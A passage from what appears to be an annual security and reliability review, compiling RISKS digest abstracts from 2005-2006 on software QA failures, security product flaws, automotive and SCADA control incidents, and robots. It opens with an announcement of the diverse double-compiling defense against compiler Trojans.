>Everyone here should be familiar with Ken Thompson's famous "Reflections on Trusting Trust." If not, see: < http://www.acm.org/classics/sep95/>. The "trusting trust" attack subverts the compiler binary; if attacker succeeds, you're doomed. Well, till now.

I've written a paper on an approach to counter this attack. See: "Countering Trusting Trust through Diverse Double-Compiling."

Here's the abstract:

An Air Force evaluation of Multics, and Ken Thompson's famous Turing award lecture "Reflections on Trusting Trust," showed that compilers can be subverted to insert malicious Trojan horses into critical software, including themselves. If this attack goes undetected, even complete analysis of a system's source code will not find the malicious code that is running, and methods for detecting this particular attack are not widely known. This paper describes a practical technique, termed diverse double-compiling (DDC), that detects this attack and some unintended compiler defects as well. Simply recompile the purported source code twice: once with a second (trusted) compiler, and again using the result of the first compilation. If the result is bit-for-bit identical with the untrusted binary, then the source code accurately represents the binary. This technique has been mentioned informally, but its issues and ramifications have not been identified or discussed in a peer-reviewed work, nor has a public demonstration been made. This paper describes the technique, justifies it, describes how to overcome practical challenges, and demonstrates it.<

Category 21.1 General QA failures

2005-12-23 **spreadsheet software quality assurance assumptions questions**

RISKS; http://www.sciencenews.org/articles/20051217/mathtrek.asp 24 13

QUESTIONING SPREADSHEET SOFTWARE QUALITY ASSURANCE

Spreadsheets create an illusion of orderliness, accuracy, and integrity. The tidy rows and columns of data, instant calculations, eerily invisible updating, and other features of these ubiquitous instruments contribute to this soothing impression. At the same time, faulty spreadsheets and poor spreadsheet practices have been implicated in a wide variety of business and financial problems.

[Abstract by Peter G. Neumann]

RISKS moderator Dr Neumann (PGN) adds:

PGN-excerpted from a nice article with a bunch of references, including Ivars' 1996 book, Fatal Defect: Chasing Killer Computer Bugs, which itself cited some earlier RISKS reports. The last two references are particularly relevant:

The European Spreadsheet Risks Interest Group (EuSpRIG) has a Web site at http://www.eusprig.org/.

Spreadsheet Research, maintained by Ray Panko of the University of Hawaii, is a repository for research on spreadsheet development, testing, use, and technology: http://panko.cba.hawaii.edu/ssr/.

Category 21.1 *General QA failures*

2005-12-29 **quality assurance QA bank system automatic debit**

RISKS; BBC http://news.bbc.co.uk/1/hi/uk/4567944.stm 24 14

AUTOMATIC DONATIONS MULTIPLIED BY 100

Approximately 10,000 UK supporters of Greenpeace who make regular donations by direct debit have have accidentally had their bank accounts debited by a hundred times their usual amount, with its software adding two noughts to the latest batch of direct debit demands.

I would hazard a guess that some manual intervention was made, perhaps to update the records for a new calendar year, leading to a mistake by a real human being rather than "the computer."

[Abstract and comments by Nick Rothwell]

Category 21.1 *General QA failures*

2006-02-11 **quality assurance design municipal property tax human user error quality assurance QA plausibility**

RISKS; http://tinyurl.com/rq8p8 24 15

TRUSTING THE COMPUTER CAUSES TAX REVENUE SHORTFALL FOR TOWN

In Valparaiso, Indiana, someone pressed the wrong key in the municipal-tax program and accidentally altered the property value for a house originally evaluated at $121,900 so that it was appraised at $400M. No one noticed. The tax bill went from $1,500 to $8M, causing a significant increase in the anticipated municipal tax revenues. Although the faulty tax bill was corrected, the town planners had already lowered the property tax rate to take into account the imaginary $8M windfall and therefore faced a budget deficit for municipal services and schools.

Category 21.1 *General QA failures*

2006-03-08 **quality assurance QA error failure Scholastic Aptitute Test (SAT) scores students admissions**

RISKS; College Board http://tinyurl.com/zj8wh 24 19

DAMP PAPERS CAUSE ERRORS IN SAT TEST SCORES

On the order of 4000 [4,400] students taking the October 2005 Scholastic Aptitude Tests (SATs) received scores lower than they should have been [and 600 got higher scores than they achieved], due to [initially] unexplained "technical problems" [later described as dampness that expanded the paper sheets]. Some scores on the reasoning section were as much as 100 [actually as bad as 450] points too low (out of 800 [or 2400]). This may be unfortunate for those students, considering that the final acceptances and rejections are being decided before the affected universities have been notified. Similar scanning problems were noted in an earlier SAT chemistry test, although on a smaller scale.

[An NPR "All Things Considered" story by Claudio Sanchez on April 25 reported that "Angry parents -- and their lawyers -- are demanding answers." The College Board announced new quality assurance measures to prevent a repetition of the scanning errors including scanning the sheets twice (once on each of two days) and comparing the results to spot mechanical problems.]

[Abstract by Peter G. Neumann; updated information inserted by MK]

Category 21.1 General QA failures

2006-03-28 **bounds sanity checking quality assurance QA control QC procedures debit bank data input error correction**

RISKS; AP http://tinyurl.com/o45wj 24 22

DEBIT CARD TYPO RENDERS COUPLE PENNILESS

An AP item datelined Palmdale, California notes that George Beane was charged $4,334.33 for four burgers at Burger King. To make a long story short, the cashier entered $4.33 and then forgetfully reentered the same amount again, resulting in a debit-card charge that instantly was paid out of his Bank of America account, wiping out their balance. After this was discovered, the bank insisted the funds were on a three-day hold and the debit could not be be reversed. [The AP article said, "Burger King did not charge the Beanes for their meal, and the couple got their $4,334.33 back on Friday."] "For those three days, those were the most expensive value burgers in history," Pat Beane said.

[Abstract by Peter G. Neumann; additions by MK]

Mark Feit added in RISKS 24.23:

>[Debit-card] Transactions at countertop terminals do have a bounds check, but it happens at the wrong point in the transaction. The customer receipt and store copy are printed *after* the charge has been committed to the clearing house, leaving the cardholder with no way to approve the amount. (Even restaurants, which have an extra step where you add a gratuity, have this problem, because the final figure is still un-verified by the customer.) Even if the customer refuses to consummate the transaction by signing, it's still a done deal and the only recourse for correcting it is to take it up with the bank.

I suspect that's what happened in this case, and it's a very good reason to use a real credit card instead of a debit card.<

Category 21.1 General QA failures

2006-05-09 **telephone central switch programming quality assurance QA bug error design flaw area code long distance dialling denial of service DoS**

RISKS 24 28

RISKS OF INADEQUATE TESTING HIT BELL CANADA

In the 613 area code (Ottawa, Eastern Ontario) in Canada, BELL Canada prepared to switch to requiring the area code for all calls including local ones. Rod Davidson reported on a glitch that appeared because of poor testing and planning:

>There is a local 866 exchange so that the phone number 866-1234 (just made up) is a local call. As of this morning, when I tried to dial 1-866-123-4567 I received the message "This is not a long distance call." as soon as I pressed the "4" in the sequence. Dialing "866-1234" got me the message "The mailbox of 866-1234 is full." I'm not really surprised.<

The situation was made worse by BELL Canada operators, who either ignored his explanation of the problem or proposed a service call for a problem that resided at the central office. Davidson pointed out, "When someone reports unusual system behavior (and reports they observed it on several different phone lines) it should raise some sort of red flag."

Category 21.1 General QA failures

2006-05-23 **bounds checking sanity check software programming error quality assurance QA**

RISKS 24 30

PARKING METER CHARGES $8M FOR 63-YEAR PARKING STAY

A humor column in today's _LA Times_ featured a photograph of a self-pay parking kiosk with a mis-set date of 16 May 1943, showing an amount due of $8,082,022.84.

Sanity checking, you ask? Not bloody likely. An auxiliary display shows the fee in larger characters; it reads 8.1E+6. When you have an programmer so clueless as to calculate money values in floating point, there is little hope for subtleties like sanity checking.

As a side point, I'm fascinated that things like parking kiosks now use chips powerful enough to have floating-point support, at least as a library. A 4-bitter would be adequate for the task, though it's not clear to me that this particular programmer could have written the code needed to compute the fee on a 4-bit machine.

[Abstract and commentary by Geoff Kuenning]

21.2 Security product QA failures

Category 21.2 Security product QA failures

2005-08-03 **lightning damage lightning-detection system recursion**

RISKS; http://tinyurl.com/7jf8h 24 01

RECURSIVE LIGHTNING PROBLEMS

A bit of light-hearted fun at the expense of the lightning-detection folks:

Klaus Johannes Rusch noted this recursive case of vulnerability to what's being monitored:

>Fortunately there were only a few minor injuries when a plane overshot a runway at Pearson International Airport. According to a CBC report … most operations on the airport had been suspended due to bad weather: "… a spokesperson with the Greater Toronto Airports Authority said lightning was causing technical problems with the airport's lightning-detection system." Why would one expect that lightning-detection systems could cope with lightning?<

Peter G. Neumann chimed in with an amusing recollection of a similar case:

>My favorite meta-lightning event occurred was when I was giving a lecture in my Survivable Systems course at Maryland, and I was talking about the time at Wallops Island where they had several missiles ready to launch because they wanted to study the effects of lightning on the missile controls. As some of you may remember, lightning hit the launch platform and triggered the launching of one of the missiles (which I mentioned most recently in RISKS-20.42). Just at that point in the lecture, lightning hit the lecture room and took down the computer controlling the outfeeds to remote classrooms and our own video monitors. Some of the students wondered how I had managed such a theatrical effect.<

Category 21.2 Security product QA failures

2005-08-31 **insider theft security identification authentication I&A piggybacking overwork disgruntled employees trial judgement theft fraud**

RISKS; http://archiv.tagesspiegel.de/archiv/31.08.2005/2022942.asp#art (in German) 24 03

GERMAN INSIDER-THEFT CASE ILLUSTRATES AWFUL SECURITY

Social services have a money machine set up in which, when a client is given money, instead of having it transferred to their account, a chip card is selected, and the number of the card typed into a computer program that controls payouts. The client takes the card to an ATM-like money machine, puts the card in, key is the secret password which is [I hope you are sitting down … --dww] the *birthday* of the client, and takes out the money. A camera films the transaction, but erases the tapes about 6 weeks later.

The program records the payout in the files of the client, and only people with proper passwords have access to the payout system. This is called security.

About 27.000 Euros (about the same in dollars these days) disappeared about 2 years ago. The revision department nailed down 22 transactions that had been conducted without an entry in the files of a client, and the clients knew nothing of the windfalls.

The accused kept his mouth shut during the process, and it was uncovered that the cards were not kept track of and "flew around the offices", people would log onto their payout computers and remain logged in all day, sometimes leaving the office without locking the door. It would have been trivial for a colleague to quickly use a computer to load up a card, then slip it to an accomplice and have them pick up the cash. In addition, everyone seemed to know everyone else's passwords…

The defence lawyer also noted that the social workers were all mad about the extra work they had to do about the new German dole system, so it really could have been anyone.

Berlin remains out the 27.000 Euros and has to pay court costs, the accused keeps his job (but was transferred, probably to the filing room), and the judge recommends they re-think the security of the payout system. I'm with the judge on this one!

[Abstract by Debora Weber-Wulff]

Category 21.2 *Security product QA failures*

2005-10-13 **automated teller machines ATM banking denial of service DoS failure software quality assurance input error QA design testing**

RISKS; http://www.nu.nl/news.jsp?n=603834&c=122&rss (in Dutch) 24 07

UNLUCKY SEVEN

The Dexia Bank ATM machines are experiencing a curious problem. The machines stop functioning when someone enters the number 7, making it impossible for people with a 7 in their pin (personal identification number) code to perform a cash withdrawal.

The problem has been occurring for a month. To prevent people from running out of cash, they are able to perform cash withdrawals inside. "We are experiencing a problem with the software", a Dexia spokesman admitted last Wednesday in the daily journal Het Laatste Nieuws, "the problems should be solved within three weeks."

[Abstract by Lindsay Marshall]

[MK comments: THREE WEEKS?!?]

Category 21.2 *Security product QA failures*

2006-01-12 **canonical password Joe account access control vulnerability root backdoor**

RISKS; http://tinyurl.com/atvlo 24 15

CISCO/CISCO = SILLY/SILLY

Gadi Evron analyzed a Cisco advisory entitled "Default Administrative Password in Cisco Security Monitoring, Analysis and Response System" which revealed a back door to root:

"The security issue is basically a user account on the system that will give you root when accessed.

The account is:
1. Hidden.
2. Default.
3. With a pre-set password."

Evron also noted that many Cisco routers still use a canonical "Joe" account (same string for account and password):

"On the other hand, the most common practice to hack routers today, is still to try and access the devices with the notoriously famous default login/password for Cisco devices: cisco/cisco.

Cisco/cisco is the single most used default password of our time. It got more routers pwned than any exploit in history, and it still does. One would think that a company such as Cisco, especially with this history, would stay away from such 'default' accounts? But the fact that this account is hidden makes it something different."

21.3 Embedded processors

Category 21.3 *Embedded processors*

2005-07-20 **embedded control systems automobile safety shutoff flaw error damage emergency design override**

RISKS 23 95

DOES THE PROGRAMMER ALWAYS KNOW BEST?

Bob Paddock reported in RISKS that his Chrysler Voyager van seems to have been damaged by lightning recently and illustrated a design flaw that affects many other software and firmware systems: the assumption that users are complete idiots who cannot be trusted to override an automated decision no matter what the circumstances.

>Got the van out Friday night. I pulled out of the garage and as soon as I hit the road the Check Engine Light came on and the speedometer dropped to zero, as I continued to gain speed, going up the hill. The automatic transmission was now stuck in 1st-gear. I turned around a few driveways up the street and went back to the house. Made appointment to take it in for servicing the next morning.

Dealer is about four miles down the street. Limped along in 1st-gear to the dealer the next morning until we reached the only major four way intersection in this four mile gauntlet.

Right in the middle of the intersection the engine died like I turned the key off. A good Samaritan pushed the van off the road. The dealer came and towed the van for the last mile of the trip.

The dealer said that a tachometer feedback sensor had gone bad "and the van didn't know what speed it was going so it shut down to be safe".

Now for the Us vs Embedded part of the story: Isn't it sufficient that *I* knew stopping in the middle of a busy four way intersections was a Really Bad Thing to do? *It* thought it knew better than I did.

I'm really glad I did not have to cross any railroad tracks when *it* decided to stop on the crossing because it thought it was safe, rather than listen to my commands.<

* * *

In followup comments in RISKS 23.96, Michael Kohne warned that the dealer's hypothesis might be unfounded -- the reasons for the engine shutdown could have been something else entirely. Or perhaps "Another alternative is that he doesn't mean 'safe' the way you mean safe. He means 'it shut the engine down as an alternative to revving up until it explodes'. Because I guarantee that if the van's CPU let a bad sensor destroy the engine you'd be plenty po'd, and you'd probably be screaming even louder."

21.4 SCADA (supervisory control and data acquisition) systems, vehicle controls

Category 21.4 SCADA (supervisory control and data acquisition) systems, vehicle controls

2005-02-08 **car virus embedded computers prediction**

NewsScan; http://news.com.com/A+virus+may+be+in+your+cars+future/2100-7349_3-5568633.html

NEW STUDY WARNS OF CAR VIRUSES

A report by IBM Security Intelligence Services predicts that viruses spreading to mobile phones, PDAs and wireless networks could infect the embedded computers that increasingly are used to run basic automobile functions. The average new car runs 20 computer processors and about 60 megabytes of software code, raising more opportunities for malfunctions. In addition to the threat facing vehicles, the report noted the fastest growing threat last year was phishing -- a method of deceiving computer users into revealing personal information -- and predicted that activity would grow more serious in 2005. (Reuters/CNet.com 8 Feb 2005)

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*

2005-02-14 **quality assurance QA response error tolerance missile interceptor communications failure**

RISKS; http://www.cnn.com/2005/TECH/01/12/missile.defense.ap/index.htm 23 66

MISSILE FAILS TEST? CHANGE THE RULES.

Jeremy Epstein commented on the DoD's response to errors in the missile interceptor system:

As has been widely reported, the DoD's missile interceptor test failed miserably in December [2004], building on a rather impressive history of failures. According to Pentagon brass, the problem was "with an automated pre-launch check of the communications flow between the interceptor and the main flight control computer. Detecting too many missed messages, the system shut down automatically, as designed. [so] the Pentagon will increase the pre-launch tolerance for missed messages. [General] Obering said the tolerance level was set too low; increasing it will not risk a flight guidance failure".

Well, that makes me feel better. The system ran into problems, so it generated errors. Rather than figuring out what the problem was, let's ignore the errors. Not unlike turning up the radio in your car so you can't hear it falling apart.

The general went on to say "Statistically, it's a very rare occurrence and most likely would not happen again."

Gee, I feel safer every minute.

* * *

In RISKS 23.72 he reported on yet another failure:

MISSILE INTERCEPTOR DOESN'T EVEN LEAVE ITS SILO -- AGAIN

As reported in RISKS 23.65 and 23.66, the Dec 15 test of the missile interceptor system failed when it didn't lift off from the launchpad due to a timing problem.

The 14 Feb test didn't do any better. CNN reports that "a spokesman for the [Missile Defense] agency, Rick Lehner, said the early indications was that there was a malfunction with the ground support equipment at the test range on Kwajalein Island in the Marshall Islands, not with the missile interceptor itself. If verified, that would be a relief for program officials because it would mean no new problems had been discovered with the missile."

That's good news?

In case you're keeping score, that's 6 failures out of 9 attempts since the program started. And the three "successes" have been highly scripted.

Your tax dollars at work (at least for Americans).

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*

2005-03-23 **automobile car cruise control autopilot failure accident crash bug lockup freeze brakes ignition engine control**

RISKS 23 81

CRUISE-CONTROL TAKES BITS IN ITS TEETH?

Robert Scheidt reported on a serious problem and asked for clarification:

Recently in France a number of failures of "cruise control" systems especially on recent models of Renault made cars have been reported, some creating serious accidents (including a deadly one). In general it is reported that the car stays at his set speed and no matter what the driver does, including cutting the ignition and breaking, the car continues at that speed.

What's more surprising is that it is also reported that brakes become ineffective (the brake pedal resists pressure).

I could imagine that the cruise control being probably under control of some microprocessor, this microprocessor could "hang" due to some software problem and therefore that everything it controls just stays as it is. Especially in newer cars where fuel injection is completely electronically controlled (no mechanical link between the gas pedal and the fuel injection controls).

However, I have difficulties believing that the same microprocessor would control the brakes and make them ineffective. I wonder if somebody on this board has some insight on how the electronic controls of modern cars are designed and especially if a single component's failure (such as a common microprocessor) could affect multiple functions (e.g., acceleration and brakes).

There was a flurry of discussion in RISKS 23.82. Several correspondents confirmed that some automotive systems do in fact control brakes as well as speed.

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*

2005-05-17 **automobile control systems engine failure shutdown speed safety software quality assurance QA**

RISKS; http://tinyurl.com/9u6pt(subscribers only); http://tinyurl.com/dov9m 23 87

SOME PRIUS CARS SHUT DOWN AT SPEED

Peter G. Neumann summarized an article about an upsetting software error:

The U.S. National Highway Transportation Safety Administration has 13 reports of Toyota's Prius gas-electric hybrid cars (2004 and early 2005) stalling or shutting down at highway-driving speeds, which Toyota attributes to software problems.

The original article by Sholnn Freeman from the Wall Stree Journal included this text:

>Toyota spokesman Sam Butto said the auto maker identified a "programming error" in the computer systems of 23,900 Prius cars last year. He said that last May Toyota sent owners of those cars service warnings telling them to go to their dealerships for a software upgrade. But he said he wasn't sure how many people went in to receive the hour-long fix.

He and another Toyota spokesman said the auto maker isn't sure if the latest problems associated with 2004 Prius models involve buyers who never got the upgrade or if an altogether different glitch is shutting the car down.<

Edwin Slonim commented in RISKS:

I have always feared losing power, brakes and steering at high speed - with a helpful dashboard indication of "internal error 687, please reset". Looks like it is starting to happen. Of course we need to put this into proportion - how many cars stall at high speed with a fuel blockage, or swerve with a blowout.

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*

2005-06-23 **denial of service DoS power electricity failure railway paralysis human safety temperature air conditioning single point of failure systems engineering fault tolerance**

RISKS 23 92

SINGLE POINT OF FAILURE PARALYZES SWISS RAILSYSTEM FOR 3 HOURS

On 22 Jun 2005 at 5.08pm, a power short occurred between Amsted (Canton Uri) and Rotkreuz (Canton Zug, which in German means "train") on the Swiss train line. The SBB (Schweizerischen Bundesbahnen) operated their own power lines, and this short circuit caused a sharp drop in voltage, which quickly spread throughout the ENTIRE country of Switzerland.

Trains were stalled in the middle of nowhere, with no air conditioning in the heat of the summer. Some train doors could not be opened. More than 200,000 passengers were affected. It took about two hours to get everyone out of the trains. SBB used busses to transport stranded passengers and diesel locomotives to drag trains to the nearest station.

It took two more hours before enough power was restored in order for the trains to begin moving. But the efficient Swiss worked all night moving trains so that everything moved rather smoothly the next day.

There were allegedly no computers involved, but the single point of failure was a vivid illustration of many RISKS concepts, not the least of which is: don't throw out those diesel locomotives yet!

[Report from Debora Weber-Wulff]

Anthony Thorn added:

>My concern --and arguably the risk-- is the impact of such an incident on passenger trains in the new Gotthard "base"-tunnel which will open in 2011. This will be 57 Km (35 miles) long and run at depths up to 2000 meters (7000 feet) which means that the tunnel temperature will exceed 45 C. (113 F). If a train is stopped in the tunnel a very rapid response would be required to avoid a catastrophe.<

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*

2005-07-06 **supervisory control data acquisition SCADA system failure software quality assurance QA failure bug flaw air pollution human safety health power generator emissions monitor**

RISKS; http://tinyurl.com/dvtga 23 93

SCADA SYSTEM FAILURE CAUSES AIR POLLUTION

Bill Hopkins relays a report from Pennsylvania:

>Our local newspaper reports in print (but not on line) that Exelon Power's Cromby generator in Phoenixville, PA exceeded pollution limits for seven months in 2004 after an unidentified "vendor" programmed an emissions monitor for the wrong standards, and that the company will pay 600 grand. Websites for the company and the PA Dept of Environmental Protection confirm the story. Exelon is the parent company of PECO Energy, formerly Philadelphia Electric Co., which supplies power to the area.

Cromby has two generators, one coal-fired and one switchable between oil and natural gas. The vendor ("a big company" says Exelon) set the monitor for the coal-fired unit to standards for the other unit. (I would guess that the SO2 limits for oil might be higher.) Exelon discovered the problem while aggregating data "for a large use," stopped it and turned itself in. DEP assesses a fine for each day of violation.

Risks for a company: trusting the dials and trusting the vendor when you're on the hook.

Risks for the rest of us: breathing in.<

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*

2005-09-17 **avionics software quality assurance QS glitch error bug flaw disaster control SCADA supervisory control data acquisition**

RISKS; http://tinyurl.com/bkg7d 24 05

SOFTWARE FAILURE HIJACKS MALAYSIAN AIRLINES BOEING 777

The Australian (17 Sep 2005) has a chilling story about the pilots of a Malaysian Airlines 777 flying from Perth to Kuala Lumpur last month battling to regain control after an "unknown computer error" caused the aircraft to pitch violently, and brought it close to stalling.

An Australian Transport Safety Bureau report … released yesterday reveals the pilot in command disconnected the autopilot and lowered the plane's nose to prevent a stall, after incorrect data from a supposedly fail-safe device caused the plane to pitch up and climb 3000ft, cutting its indicated air speed from 500kmh to 292kmh, activating a stall warning and a "stickshaker". [A stickshaker vibrates the aircraft's controls to warn the piot when he is approaching stall speed … which, you know, means the plane is about to fall out of the air.]

The system refused to give up control, however. It increased the power on the automatic throttle, forcing the pilot to counter by pushing the thrust levers to the idle position. The aircraft immediately pitched up again, and climbed 2000ft.

The pilot turned back to Perth under manual control. When he kicked in the two autopilot systems, the plane banked to the right, and the nose pitched down.

On its landing approach, at 3000ft, the flight display gave a low airspeed warning and the auto-throttle increased thrust. The warning system also indicated a dangerous windshear, but the crew landed the jet safely.

According to the report, "investigations are focusing on faulty acceleration figures supplied by a device called the Air Data Inertial Reference Unit". The ADIRU collates aircraft navigation and performance data from other systems and passes the information to the primary flight computer.

What's potentially more disturbing, however -- and neither the Transport Safety Bureau nor The Australian appear to have picked this up -- is that a US FAA directive … in June this year highlighted other problems with the Boeing 777's ADIRU.

Boeing has told operators of the jet -- which by the way has the best safety record of any aircraft … -- to load a previous software version.

[Summary by Charles Wright][

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*

2005-10-18 **automobile control system software engineering design flaw quality assurance QA driving brakes failsafe stupid insane nuts gaga**

RISKS; 24 08
http://www.informationweek.com/story/showArticle.jhtml?articleID=170702055

WHO THINKS OF THESE SYSTEMS? AND WHAT DRUGS ARE THEY ON?

Peter Scott comments on possibly the worst idea in automotive design history:

>Toyota is testing technology meant to keep a driver's eyes on the road, according to The Associated Press. The technology employs a camera attached near the car's steering wheel and image-processing software that recognizes when the driver isn't facing forward. The system flashes a light on the dashboard and beeps when the driver looks away, according to the AP. If the driver doesn't respond, *the brakes are applied automatically*. The feature will be in Lexus luxury models to be sold in Japan next spring.

Well, *that* sounds reliable… I feel safer already.

I hope they paint them a distinctive color so I can recognize them on the road and stay well away…<

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*

2005-10-28 **US SCADA systems protection security industrial control critical infrastructure homeland security**

DHS IAIP Daily; http://www.securityfocus.com/news/11351

U.S. MAKES SECURING SCADA SYSTEMS A PRIORITY

Wary of the increasing number of online attacks against industrial control systems, the U.S. government has stepped up efforts to secure the systems used to control and monitor critical infrastructure, such as power, utility, and transportation networks. Andy Purdy, acting director of the National Cyber Security Division at the Department of Homeland Security (DHS), stated, "The exposure of these systems to malicious actors in cyberspace is greater than in the past, because these systems are more often connected to the Internet. With the profit margins of many of the owners and operators, it is a challenge to convince them to spend to reduce the risk." DHS has become increasingly concerned over the lack of security of such control networks -- among which the best known is the supervisory control and data acquisition (SCADA) system -- because the majority of such control systems are owned by private companies and are increasingly being interconnected to improve efficiency.

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*

2005-11-09 **quality assurance QA fail-safe denial of service DoS safety-critical system design emergency override**

RISKS; http://archiv.tagesspiegel.de/archiv/09.11.2005/2163080.asp (in German) 24 09

FAIL-SAFE DIDN'T: BERLIN TUNNEL TESTS SNARL TRAFFIC

After a night of repairs to one of the autobahn tunnels in Berlin the crew wanted to test the fire alarm system. They tried starting some of the fire alarms, and were worried that the automatic gates that are to keep cars from entering a tunnel with a possible fire weren't closing right. They punched more and more alarms, and the gates on both tunnel tubes (work was going on in only one tube) suddenly banged closed - and the computer regulating them crashed.

The gates failed safe -- but they couldn't be opened again. Not by hand, and not by computer, which just refused to start again. They worked feverishly from 5am to 10am, trying to get the gates open again so that traffic (which is normally very heavy at that time of the morning), could move. [I'm glad I took the train yesterday! -dww]

Police were able to evacuate cars trapped in the tunnel by way of an exit from the tunnel, which was not gated.

A special complication was that the gates on the north end of the tunnel were made by a different company than the gates on the south end of the tunnel, this caused "additional problems". Which ones, are left to the comp.risks readers as an exercise.

It is still not clear how the error happened or why the computer would not re-start, speculation has it that the computer couldn't handle so many fire alarms at the same time.

Moral of the story:

* It was good that the system failed safe.
* It was bad that it did not seem able to handle the number of fire alarms that are installed in the tubes.
* If you have different suppliers for parts, you want to make sure they are still delivering the same stuff.

[Summary by Debora Weber-Wulff]

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*

2005-12-04 **GPS speed restriction design flaw Transport Canada device safety-critical systems**

RISKS; http://www.cnn.com/2005/AUTOS/12/01/canada_gps_speed/index.html 24 11

RISKS OF GPS-BASED AUTOMATIC SPEED RESTRICTION ON VEHICLES

Jeremy Epstein complains about a device Transport Canada is testing which, if you have GPS increases the resistance in the gas pedal if you try to exceed the speed limit. Mr. Epstein remarks, "Bad idea." He writes:

I'm not an expert in GPS systems, but I've seen them get confused, especially when there are nearby parallel roads. I wouldn't want it to hold my speed to 25 MPH because it thinks I'm on the dirt road that runs parallel to a highway. And if the device changes its mind suddenly, the results could be catastrophic - I'm pushing hard on the accelerator because (for whatever reason) I decide to exceed the speed limit, and suddenly it decides the speed limit has increased - now I'm flooring the car because it reduces its resistance factor. Conversely, if I have a normal pressure on the accelerator, and the speed limit drops, the device might cause my speed to drop precipitously. I'm sure there are lots of other GPS-based risks - what does the device do if it can't find a GPS signal?

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*

2006-04-15 **automobile real-time control systems failures problems glitches crashes drive-by-wire**

RISKS; Daily Telegraph http://tinyurl.com/e6668 24 25

RISKS OF DRIVE-BY-WIRE SYSTEMS FOR AUTOMOBILES

In March 2006, British motorist was trapped in his BMW at speeds of 130 mph for 26 minutes when his electronic accelarator linkage jammed at maximum throttle. He called police on his mobile phone and miraculously avoided crashing into any other cars on the heavily-travelled motorway during his terrifying trip up the A1 highway. He flipped the car at a roundabout but walked away uninjured.

Don Norman commented in RISKS,

>Seems that stuck throttles were a continual event with old, mechanical throttles. The electronic throttles have received numerous complaints, but all of the ones I could find were about "unintended acceleration". Doing a web search for "electronic throttle accident" (without the quotes) is quite revealing.

I still don't know enough about this class of potential accidents to offer definitive comment. But from what I can tell, automobile incidents will replace aircraft ones for the RISKS community. The more things change, …

Example:

The National Highway Transportation Safety Administration is investigating complaints that some Toyota Motor Corp. cars may suddenly accelerate or surge, causing one car to strike a pedestrian. The 2002 and 2003 Toyota Camry, Camry Solara and Lexus ES300 vehicles all come equipped with an electronic throttle control system, which the NHTSA said uses sensors to determine how much throttle is being applied.

The NHTSA said 30 crashes have been attributed to the problem, with four accidents resulting in five injuries. The crashes "varied from minor to significant and may have involved other vehicles and/or building structures." The preliminary investigation is the first step in the investigative process. The NHTSA will contact Toyota to ask for documents pertaining to the issue, and could upgrade the investigation to an engineering analysis. More than 1 million Toyotas are covered by this investigation, according to the agency.

Toyota officials could not immediately be reached for comment.<

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*

2006-05-08 **industrial control systems critical infrastructure protection threat national security risk SCADA systems**

DHS IAIP Daily; http://fcw.com/article94273−05−08−06−Print

INDUSTRIAL CONTROL SYSTEMS POSE LITTLE-NOTICE SECURITY THREAT.

The electronic control systems that act as the nervous system for all critical infrastructures are insecure and pose disastrous risks to national security, cybersecurity experts warn. Supervisory control and data acquisition and process control systems are two common types of industrial control systems that oversee the operations of everything from nuclear power plants to traffic lights. Their need for a combination of physical security and cybersecurity has largely been ignored, said Scott Borg, director and chief economist at the U.S. Cyber Consequences Unit, an independent research group funded by the Department of Homeland Security. Control systems security is one of six areas of critical vulnerabilities Borg included in a new cybersecurity checklist released in April by the research group. The private-sector owners of critical infrastructure refuse to release data and deny that their aging, inherently insecure systems pose any security risk, said Dragos Ruiu, an information technology security consultant to the U.S. government who runs several hacker conferences. Average hackers can break into the systems, said Robert Graham, chief scientist at Internet Security Systems. He, Borg and other experts fear that major cyberattacks on control systems could have socio-economic effects as severe and far-reaching as Hurricane Katrina.

21.5 Robots, botnets

Category 21.5 Robots, botnets

2005-06-15 **robot control failure flaw danger software quality assurance QA**

RISKS; http://tinyurl.com/8c6ct; http://tinyurl.com/cmee5 23 92

WALDO GOES WILD

The Register published this tongue-in-cheek report on a robot gone off its nut:

* Robot runs riot at California hospital *

Staff and patients at San Francisco's UCSF Medical Center were left fearful and shaken last week, when a robotic nurse threw off its shackles and went on the rampage.

"Waldo", a robot used to dispense pills and potions to medical stations at the top notch medical facility, refused to return to the pharmacy to pick up a fresh stash at the end of his rounds, according to the San Francisco Chronicle. Instead, the crazed automaton – reportedly the size of a good-sized TV, which in California means it must be at least the size of the average British garden shed -- careened past the drug depository before barging into a room in the hospital's radiation oncology department where an examination was in progress. The psychotic pill pusher reportedly refused to leave, sending both doctor and patient fleeing for their lives.

"This is the first time anything like this has happened," a hospital spokesman told the paper. "Our technology folks are going to have to take a look." Yeah, if they can find him. The 'bot's clearly gone bad, and is probably even as we speak cruising the city's Tenderloin district pushing purloined prescription pain killers, paying off dirty cops and menacing lost tourists.

Even more worryingly, the spokesman said nothing about shutting down Waldo's two colleagues, dubbed Elvis and Lisa Marie. A terrible accident waiting to happen? We think so.

Category 21.5 Robots, botnets

2006-01-20 **computer network botnets difficult trace Symantec Security Response**

DHS IAIP Daily;
http://www.techworld.com/security/news/index.cfm?NewsID=5205
&Page=1&pagePos=4&inkc=0

HACKER COMPUTER NETWORKS GETTING HARDER TO FIND.

